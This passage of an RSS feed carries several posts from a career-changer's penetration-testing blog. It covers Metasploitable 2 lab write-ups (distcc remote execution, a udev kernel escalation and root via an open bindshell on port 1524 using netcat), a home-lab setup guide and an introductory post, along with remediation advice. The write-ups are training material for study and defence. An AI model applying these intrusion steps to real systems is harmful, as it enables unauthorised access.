<p><em>Figure 8 — the module finds the PID, then crashes internally — framework rot, not misconfiguration.</em></p>
<blockquote>
<p><strong>Why this matters more than a clean</strong> <code>uid=0</code><strong>.</strong> That <code>NoMethodError</code> is a crash <em>inside</em> the module, with a valid session and a valid PID — the setup was correct. A local exploit from 2009, driven by a 2026 Metasploit, has simply rotted. The manual technique in Section 2 rooted the box reliably; recognising that the <em>tool</em> broke, not the <em>target</em>, is what tells you to fall back to it.</p>
</blockquote>
<h3>Verdict</h3>
<p>Metasploit won the <strong>foothold</strong> outright — one module, handler automatic, no juggling listeners. It lost the <strong>escalation</strong> to module rot. In a real engagement, that's the exact moment you set the framework aside and reach for the manual exploit, which is why learning it first (Section 2) isn't optional.</p>
<hr />
<h2>4. Framework vs. Foundations</h2>
<table>
<thead>
<tr>
<th align="left"></th>
<th align="left">Manual route</th>
<th align="left">Metasploit route</th>
</tr>
</thead>
<tbody><tr>
<td align="left"><strong>Foothold (distcc RCE)</strong></td>
<td align="left">You frame the packet and catch the shell yourself; payload quoting is on you.</td>
<td align="left">One module, handler automatic — the fastest path, <em>once</em> you pick a dash-compatible payload.</td>
</tr>
<tr>
<td align="left"><strong>Privilege escalation</strong></td>
<td align="left">Reliable: compile 8572 on-box, read the Netlink socket, setuid trick → root.</td>
<td align="left">Failed here: <code>udev_netlink</code> crashes (<code>NoMethodError</code>) even with a native Linux session; the alternate module isn't present.</td>
</tr>
<tr>
<td align="left"><strong>What it teaches</strong></td>
<td align="left">How the protocol and the kernel bug actually work — and that a payload has to survive the environment it lands in.</td>
<td align="left">How to pivot fast when modules work, and how to spot a rotted one and fall back.</td>
</tr>
</tbody></table>
<hr />
<h2>5. Remediation: Client Report</h2>
<h3>Risk assessment</h3>
<ul>
<li><strong>Severity:</strong> Critical (CVSS 10.0)</li>
<li><strong>Vector:</strong> Unauthenticated Remote Command Execution. An external attacker runs commands as the <code>daemon</code> service account with no credentials. Because the host also carries an unpatched local kernel escalation (CVE-2009-1185), that initial foothold escalates to full root compromise — total data exposure and persistent control of the host.</li>
</ul>
<h3>Remediation guidance</h3>
<ol>
<li><strong>Bind and restrict the service (immediate).</strong> If distributed compilation is only ever local, bind <code>distccd</code> to <code>127.0.0.1</code>. If remote builds are genuinely needed, allow-list the specific trusted range: <code>distccd --allow 192.168.1.0/24</code>.</li>
<li><strong>Firewall port 3632.</strong> Block it from the public internet and any untrusted internal subnet.</li>
<li><strong>Decommission if unused (recommended).</strong> If distributed compilation isn't a business requirement, remove distcc entirely and shrink the attack surface.</li>
<li><strong>Patch the kernel.</strong> Upgrade the kernel and base OS to close CVE-2009-1185 and the wider class of local escalation paths — this is what would have stopped a bad day from becoming a catastrophic one.</li>
</ol>
<hr />
<h2>What this exercise actually taught me</h2>
<p>The headline finding was the unauthenticated RCE, but on its own that only cost the client a low-privilege <code>daemon</code> account. What made the box a <em>total</em> loss was the <strong>unpatched kernel</strong> sitting behind it — a second, unrelated weakness that turned limited access into root. That's defence-in-depth in reverse: one control failing is a problem; two failing in series is a breach.</p>
<p>The escalation also drove home a subtler point: the exploit firing is only half the job — the <em>payload has to survive the environment it lands in</em>. A reverse shell that works from an interactive session died silently when udev ran it, and the setuid-copy approach succeeded precisely because it assumed nothing about the environment. As a tester, that's the reminder to always chain past the first win and to pick payloads for where they'll actually execute; as a defender, it's the case for patching and segmentation even on hosts you think are "internal only."</p>
]]></content:encoded></item><item><title><![CDATA[Metasploitable 2 — My First Root Shell]]></title><description><![CDATA[In post 2, I built an isolated home lab with Kali Linux and Metasploitable 2. This week I put it to use: going from a network scan to full administrator…]]></description><link>https://joebarrettmead.hashnode.dev/metasploitable-2-my-first-root-shell</link><guid isPermaLink="true">https://joebarrettmead.hashnode.dev/metasploitable-2-my-first-root-shell</guid><dc:creator><![CDATA[Joseph Barrett-Mead]]></dc:creator><pubDate>Thu, 29 Oct 2026 05:13:03 GMT</pubDate><content:encoded><![CDATA[<hr />
<h1>Metasploitable 2 — My First Root Shell</h1>
<p>In <a href="https://joebarrettmead.hashnode.dev/building-my-first-pentest-home-lab-without-touching-the-router">post 2</a>, I built an isolated home lab with Kali Linux and Metasploitable 2. This week I put it to use: going from a network scan to full administrator access on the target.</p>
<blockquote>
<p><strong>Lab note:</strong> Everything here was done inside my own isolated VirtualBox lab. Metasploitable 2 is a deliberately vulnerable machine published by Rapid7 for training. Never test systems you don't own or have written permission to test — unauthorised access is illegal under the UK Computer Misuse Act 1990.</p>
</blockquote>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody><tr>
<td><strong>Target</strong></td>
<td>Metasploitable 2 (Rapid7)</td>
</tr>
<tr>
<td><strong>Difficulty</strong></td>
<td>Beginner</td>
</tr>
<tr>
<td><strong>Attacker</strong></td>
<td>Kali Linux — 192.168.225.3</td>
</tr>
<tr>
<td><strong>Target</strong></td>
<td>192.168.225.4</td>
</tr>
<tr>
<td><strong>Skills used</strong></td>
<td>Host discovery, service enumeration with nmap, reading scan output, netcat</td>
</tr>
<tr>
<td><strong>Time taken</strong></td>
<td>~15 minutes</td>
</tr>
<tr>
<td><strong>Date</strong></td>
<td>29 October 2026</td>
</tr>
</tbody></table>
<h2>Summary</h2>
<p>A single service scan showed the target exposing a large number of network services, many of them long out of date. One of them was a listening shell left wide open on an unusual port — no login required. Connecting to it gave me full root (administrator) access to the machine straight away. The real lesson isn't the "hack" — it's how much a single scan reveals, and how one careless service undoes everything else.</p>
<hr />
<h2>1. Getting started</h2>
<p>I started a session log so every command and its output was recorded, then checked the target was reachable.</p>
<pre><code class="language-bash">script ~/metasploitable-notes.txt
ping -c 3 192.168.225.4
</code></pre>
<p>All three packets returned with 0% loss, confirming the two machines could see each other on the isolated lab network.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/daeabf52-f208-4fde-9fec-f57b14d8e67b.png" alt="Session log started and target reachable" style="display:block;margin:0 auto" />

<h2>2. Enumeration</h2>
<p>Enumeration — finding out what a target is running — is where most of the real work in a pentest happens. I ran an nmap service scan:</p>
<pre><code class="language-bash">nmap -sV 192.168.225.4
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/40075c54-5c21-4eb4-b3fd-fdb61cf1f463.png" alt="nmap service scan results" style="display:block;margin:0 auto" />

<p>The scan came back with <strong>23 open ports</strong>. On a real business network, that alone would be a serious finding: every open service is something that has to be patched, monitored and justified. Most of the versions here were many years old and no longer supported.</p>
<p>What caught my eye straight away was <strong>port 1524</strong>, which nmap labelled as a <em>"Metasploitable root shell"</em> — a shell service listening directly on the network. A service like that, reachable without any authentication, is about the most serious thing you can find on a host.</p>
<h2>3. Gaining access</h2>
<p>I connected to that open shell service using netcat, the basic tool for talking to a network port:</p>
<pre><code class="language-bash">nc 192.168.225.4 1524
</code></pre>
<p>I was dropped straight into a shell. A quick check confirmed who I was:</p>
<pre><code class="language-bash">whoami
</code></pre>
<p>The answer came back: <strong>root</strong> — the Linux administrator account, with complete control of the machine. No password, no exploit, just an open door.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/11ca1f3e-af1d-43a5-90e2-9ff5945efcf1.png" alt="Connecting with netcat and confirming root access" style="display:block;margin:0 auto" />

<h2>4. Detours (keeping it honest)</h2>
<p>It wasn't quite as smooth as the commands above make it look, and that's worth sharing because it's how learning actually goes:</p>
<ul>
<li>I first tried to connect over SSH (port 22) and hit <code>Unable to negotiate... no matching host key type</code>. That's modern Kali refusing the target's ancient, insecure SSH settings — a good reminder that old crypto gets dropped for a reason.</li>
<li>I fumbled netcat's syntax a few times (<code>no port[s] to connect to</code>) by mixing up where the port goes. Reading the error and the <code>nc -h</code> help got me there.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/a4fe6935-e022-4489-aa3e-df5ae897f320.png" alt="An example of the SSH negotiation error" style="display:block;margin:0 auto" />

<p>Showing the dead ends matters. In a real assessment, knowing <em>why</em> something didn't work is as valuable as the thing that did.</p>
<hr />
<h2>5. Findings &amp; Remediation</h2>
<p>This is the part that turns "I got in" into something a business could actually use. If this were a client system, here's what I'd report and how I'd fix it.</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Finding</th>
<th>Severity</th>
<th>Impact</th>
<th>Recommended fix</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Unauthenticated shell service listening on the network (port 1524)</td>
<td>Critical</td>
<td>Instant full administrator access to the host</td>
<td>Remove the service entirely; it should never exist on a production system</td>
</tr>
<tr>
<td>2</td>
<td>Large number of unnecessary services exposed (23 open ports)</td>
<td>High</td>
<td>Expands the attack surface; more to exploit and to patch</td>
<td>Close unused ports; run only the services the host actually needs</td>
</tr>
<tr>
<td>3</td>
<td>Outdated, unsupported software versions throughout</td>
<td>High</td>
<td>Known weaknesses with no vendor fixes available</td>
<td>Establish a patching process; replace end-of-life software</td>
</tr>
<tr>
<td>4</td>
<td>Legacy, insecure remote-access protocols enabled</td>
<td>Medium</td>
<td>Weak or no encryption of credentials and traffic</td>
<td>Disable legacy protocols; use current, hardened SSH only</td>
</tr>
</tbody></table>
<p><strong>Severity guide:</strong> Critical · High · Medium · Low · Informational</p>
<p><strong>Overall recommendation:</strong> The root cause across every finding is the same — the system runs far more than it needs to, none of it is maintained, and nothing enforces the basics of authentication or patching. A business fixes this not by chasing individual bugs but with three habits: minimise what's exposed, keep everything patched, and require authentication on every service. Those three alone would have closed off everything above.</p>
<h2>6. Lessons learned</h2>
<ul>
<li><strong>New to me:</strong> how much a single <code>nmap -sV</code> reveals, and how to read it — ports, services, versions, and which ones matter.</li>
<li><strong>Faster next time:</strong> I'll get netcat's syntax right first time (<code>nc &lt;ip&gt; &lt;port&gt;</code>), rather than through trial and error.</li>
<li><strong>Real-world connection:</strong> the "hack" here needed no skill — the damage was done by leaving an unnecessary service exposed. In the real world, most breaches start exactly like this: something that should never have been reachable, left on and forgotten.</li>
</ul>
<h2>Tools Used</h2>
<p><code>script</code> · <code>ping</code> · <code>nmap</code> · <code>netcat (nc)</code></p>
<h2>References</h2>
<ul>
<li><a href="https://docs.rapid7.com/metasploit/metasploitable-2/">Rapid7 Metasploitable 2 documentation</a></li>
</ul>
<h2>What's Next</h2>
<p>Next I'll go back to Metasploitable and practise proper enumeration of a single service from scan to access, rather than walking through an open door — that's where the real learning is.</p>
<hr />
<p><em>Thanks for reading. I'm documenting my journey from hotel management into penetration testing — connect with me on</em> <a href="https://www.linkedin.com/in/joseph-barrett-mead-8b31a1308/"><em>LinkedIn</em></a><em>.</em></p>
<p><em>— Joe</em></p>
]]></content:encoded></item><item><title><![CDATA[Building My First Pentest Home Lab (Without Touching the Router)]]></title><description><![CDATA[In my first post, I explained why I'm moving from hotel management into cybersecurity. This week I built the thing every aspiring penetration tester needs…]]></description><link>https://joebarrettmead.hashnode.dev/building-my-first-pentest-home-lab-without-touching-the-router</link><guid isPermaLink="true">https://joebarrettmead.hashnode.dev/building-my-first-pentest-home-lab-without-touching-the-router</guid><dc:creator><![CDATA[Joseph Barrett-Mead]]></dc:creator><pubDate>Wed, 28 Oct 2026 01:13:02 GMT</pubDate><content:encoded><![CDATA[<p>In my <a href="https://joebarrettmead.hashnode.dev/from-hotel-management-to-penetration-testing-why-i-m-starting-again">first post</a>, I explained why I'm moving from hotel management into cybersecurity. This week I built the thing every aspiring penetration tester needs: a home lab.</p>
<p>A home lab is a small set of machines you own and control, so you can practice attacking (and defending) systems safely and legally. Here's how I built mine, the one constraint I had to work around, and what I learned along the way.</p>
<h2>The constraint: no router access</h2>
<p>Most home lab guides start with "log into your router and create a separate VLAN". I can't do that — I don't have access to change any router settings.</p>
<p>The good news: it doesn't matter. Everything in my lab runs as <strong>virtual machines on one computer</strong>, connected by a <strong>virtual private network that only exists inside that computer</strong>. The router never sees the lab traffic, and the lab can never reach anyone else's devices. It turned out to be the safer option anyway.</p>
<h2>What I used</h2>
<table>
<thead>
<tr>
<th>Component</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td><strong>VirtualBox</strong></td>
<td>Free software to run virtual machines</td>
</tr>
<tr>
<td><strong>Kali Linux</strong></td>
<td>My attacking machine, packed with security tools</td>
</tr>
<tr>
<td><strong>Metasploitable 2</strong></td>
<td>A deliberately vulnerable Linux machine to practise on</td>
</tr>
<tr>
<td><strong>OWASP Juice Shop</strong> (via Docker)</td>
<td>A deliberately vulnerable web shop for web attacks</td>
</tr>
</tbody></table>
<p><strong>My host machine:</strong> Initia li 14 Processor 12th Gen Intel(R) Core(TM) i5-1235U (1.30 GHz) Installed RAM 32.0 GB (31.7 GB usable) Graphics card Intel(R) Iris(R) Xe Graphics (128 MB) Storage 2TB System type 64-bit operating system, x64-based processor</p>
<h2>Network design</h2>
<p>This was the most important part to get right. A deliberately vulnerable machine should never be exposed to a real network or the internet.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/f328a88d-b2e9-4f11-b664-e821d4f9b727.png" alt="Network Diagram" width="800" height="500" />

<ul>
<li><strong>Host-only network:</strong> a private network that exists only inside VirtualBox. Kali and Metasploitable both connect to it, so they can talk to each other — but nothing outside can reach them.</li>
<li><strong>NAT adapter (Kali only):</strong> gives Kali internet access for updates and downloading tools. Metasploitable never gets this.</li>
<li><strong>No Bridged mode:</strong> Bridged would put the VMs directly on my real network, which is exactly what I want to avoid.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/14ed804d-6b76-4475-b6bb-7bdab5501a79.png" alt="Virtualbox Network" width="800" height="500" />

<h2>Building it</h2>
<p><strong>1. Installed VirtualBox</strong> from <a href="http://virtualbox.org">virtualbox.org</a> with the default settings.</p>
<p><strong>2. Created the host-only network</strong> under <em>File → Tools → Network Manager</em>, with DHCP enabled so the machines get IP addresses automatically.</p>
<p><strong>3. Imported Kali Linux</strong> using the pre-built VirtualBox image from <a href="http://kali.org">kali.org</a>, then gave it two network adapters: NAT and Host-only.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/1ac5b937-f871-41a5-a21d-52178ef81925.png" alt="Kali-Adapter1" width="800" height="500" />

<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/98e321ab-837b-4b49-8b10-69631ce33db6.png" alt="Kali-Adapter2" width="800" height="500" />

<p><strong>4. Set up Metasploitable 2</strong> by creating a new VM and attaching the downloaded virtual disk — with a single Host-only adapter and nothing else.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/5e0e225a-4497-4527-8e01-96fa9b801174.png" alt="Metasploitable2" width="800" height="500" />

<p><strong>5. Took snapshots</strong> of both machines once they were set up, so if I break something, I can roll back to a clean state in seconds.</p>
<h2>The first test</h2>
<p>With both machines running, I checked they could see each other from Kali:</p>
<pre><code class="language-bash">ip a
ping -c 3 [METASPLOITABLE_IP]
nmap -sV [METASPLOITABLE_IP]
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/55e9775c-deda-4ea5-9719-e2fbbec6b137.png" alt="Nmap scan" width="800" height="500" />

<p>The scan came back with 23 open ports, including [e.g., FTP, SSH, Telnet and a web server]. On a real business network, that many exposed services — many of them running old versions — would be a serious red flag. Here, it's exactly what I want: plenty to practise on.</p>
<h2>What went wrong (and how I fixed it)</h2>
<ul>
<li><strong>Kernel Timer I/O error:</strong> Metasploitable 2 uses older kernels than modern machines, so I had to disable I/O APIC for that specific virtual machine</li>
</ul>
<h2>Safety rules I'm following</h2>
<ol>
<li>Vulnerable machines stay on the <strong>host-only network only</strong> — never NAT or Bridged.</li>
<li><strong>Never scan or attack</strong> any network or device I don't own — including shared Wi-Fi.</li>
<li><strong>Take snapshots</strong> before every major change.</li>
<li><strong>Shut down</strong> the vulnerable VMs when I'm not using them.</li>
</ol>
<h2>What I learned</h2>
<ul>
<li>A hypervisor like VirtualBox creates virtual network cards and a software “switch” inside your PC, and the mode you pick decides who that switch connects your VMs to. NAT hides the VM behind your host so it can reach the internet, but nothing can reach it; Host-only connects VMs only to each other and your host, with no internet; Bridged plugs the VM straight into your real network as if it were another physical device with its own IP.</li>
<li>Isolation means a compromised or untrusted device can only reach what’s on its own segment, so just as a hotel keeps guest Wi-Fi away from the PMS and card terminals, keeping vulnerable lab VMs on Host-only or NAT stops your attacks (or anything malicious inside them) from spilling onto your real home network.</li>
</ul>
<h2>What's next</h2>
<p>Next up, I'll be attacking Metasploitable properly — enumerating its services, finding a vulnerability, and working towards my first root shell. I'll write it up in full, including how each weakness could be fixed.</p>
<p>Thanks for reading. If you've built a home lab yourself, I'd love to hear what you'd add next.</p>
<p><em>— Joe</em></p>
]]></content:encoded></item><item><title><![CDATA[From Hotel Management to Penetration Testing: Why I'm Starting Again]]></title><description><![CDATA[For the past few years I've worked in hotel management, most recently as a Duty Manager. It's a job where no two shifts are the same. One minute you're…]]></description><link>https://joebarrettmead.hashnode.dev/from-hotel-management-to-penetration-testing-why-i-m-starting-again</link><guid isPermaLink="true">https://joebarrettmead.hashnode.dev/from-hotel-management-to-penetration-testing-why-i-m-starting-again</guid><dc:creator><![CDATA[Joseph Barrett-Mead]]></dc:creator><pubDate>Fri, 23 Oct 2026 12:41:15 GMT</pubDate><content:encoded><![CDATA[<p>For the past few years I've worked in hotel management, most recently as a Duty Manager. It's a job where no two shifts are the same. One minute you're handling a complaint, the next you're covering a short-staffed restaurant. At 2am you might be dealing with a fire alarm, a lost key card or a guest who isn't quite who they say they are.</p>
<p>I've learned a lot in hospitality: how to stay calm when things go wrong, how to lead a team under pressure, and how to explain a problem clearly to senior management. But for a long time, the thing I've actually been fascinated by is cyber security, and penetration testing in particular.</p>
<p>Why pentesting?</p>
<p>Pentesting is about thinking like an attacker so organisations can fix their weaknesses before someone malicious finds them. That appeals to me for the same reason I enjoy operations work: you look at a system, ask "what could go wrong here?", and then work out how to prevent it. The difference is that in a hotel the system is people and processes. In pentesting it's networks, applications and the people who use them.</p>
<p>Starting without a degree</p>
<p>I don't have a degree in cyber security, and going back to university isn't an option for me right now. The good news is that this industry cares far more about what you can do than what certificates hang on your wall. So I'm building the evidence myself:</p>
<p>Working through hands-on labs on TryHackMe and Hack The Box</p>
<p>Studying for CompTIA Security+, followed by a practical pentesting certification</p>
<p>Building a home lab to practise attacking and defending real-world setups</p>
<p>Writing up everything I learn here</p>
<p>What I'm bringing with me</p>
<p>I'm not starting from zero. Incident handling, risk assessment, data protection, clear report writing and leading teams through stressful situations are all part of a hotel manager's job. They're also part of a security professional's job. I want to combine those skills with the technical knowledge I'm now building.</p>
<p>What to expect from this blog</p>
<p>I'll be posting write-ups of the machines and challenges I complete, along with the mistakes I make, the things that clicked and how each weakness could be fixed. If you're also making a career change into cyber security, I hope it's useful. If you already work in the industry, I'd genuinely welcome any advice.</p>
<p>Thanks for reading. Here's to the first machine.</p>
<p>— Joe</p>
]]></content:encoded></item></channel></rss>